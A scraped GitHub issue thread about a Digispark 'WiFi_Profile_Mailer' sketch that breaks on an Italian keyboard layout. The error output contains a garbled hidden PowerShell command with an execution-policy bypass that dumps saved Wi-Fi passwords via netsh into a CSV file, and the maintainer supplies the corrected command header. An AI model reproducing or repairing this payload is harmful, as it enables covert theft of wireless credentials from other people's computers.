Git Product home page Git Product logo

Comments (3)

apsecdev avatar apsecdev commented on August 27, 2024 1

I'll be 100% honest with you here. While I am very familiar with powershell, I am not at all familiar with what format and structure powershell uses in languages outside of english. In looking at your posted code and spending a couple minutes with google translate, I'd wager that your assumption of the Italian keyboard being the issue to be correct. It appears that some characters are being substituted. For example in the first error you posted above.

This:
Powershell 'NoP 'NonI 'W Hidden 'Exec Bypass °)...etc

should be this:
powershell -NoP -NonI -W Hidden -Exec Bypass "(...etc.

If I were in your shoes, my first troubleshooting step would be to use the Italian keyboard layout for digispark.

https://github.com/Maiux92/digispark-keyboard-layout-italian

from digispark-scripts.

apsecdev avatar apsecdev commented on August 27, 2024

WiFi_Profile_Mailer sketch does not work.
I entered USERNAME and PASSWORD where requested and filled in.
I use an Italian keyboard with Windows 10.
Could it be the keyboard layout? Eventually how can I edit the sketch?
Thank you.

There are several things that could be going wrong there. Which version are you using with which version of Windows? Where does it fail? Will the sketch not compile or does it not successfully send the email?

from digispark-scripts.

 avatar commented on August 27, 2024

I'm using the WiFi_Profile_Mailer.ino file with IDE Arduino 1.8.10 and Windows10, Italian keyboard.
Everything is compiled and uploaded.
The cmd.exe starts
and then freezes with this writing:

C:\Users\Flavio>powershell 'NoP 'NonI 'W Hidden 'Exec Bypass °)netsh wlan show profiles= § Select'String àùç).^=$à § %é$nameì$?.Matches.Groupsè1+.Value.Trim)=ò $?* § %é)netsh wlan show profile nameì$name keyìclear=* § Select'String àKey ContentùW^ùç).^=$à § %é$passì$?.Matches.Groupsè1+.Value.Trim)=ò $?* § %éèPSCustomObject+"é PROFILE?NAMEì$nameòPASSWORDì$pass ** § Export'Csv temp.csv°
In riga:1 car:7

  • 'NoP 'NonI 'W Hidden 'Exec Bypass °)netsh wlan show profiles= § Selec ...
  •   ~~~~
    

Token 'NonI' imprevisto nell'espressione o nell'istruzione.
In riga:1 car:36

  • 'NoP 'NonI 'W Hidden 'Exec Bypass °)netsh wlan show profiles= § Selec ...
  •                                ~
    

Token ')' imprevisto nell'espressione o nell'istruzione.
In riga:1 car:221

  • ... file nameì$name keyìclear=* § Select'String àKey ContentùWùç).=$à § % ...
  •                                                             ~
    

Token ')' imprevisto nell'espressione o nell'istruzione.
In riga:1 car:268

  • ... y ContentùWùç).=$à § %é$passì$?.Matches.Groupsè1+.Value.Trim)=ò $?* § ...
  •                                                             ~
    

Token ')' imprevisto nell'espressione o nell'istruzione.
In riga:1 car:343

  • ... mObject+é PROFILE?NAMEì$nameòPASSWORDì$pass ** § Export'Csv temp.csv°
  •                                                        ~~~~~~~~~~~~~~
    

Carattere di terminazione mancante nella stringa: '.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : UnexpectedToken

C:\Users\Flavio>

from digispark-scripts.

Related Issues (20)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.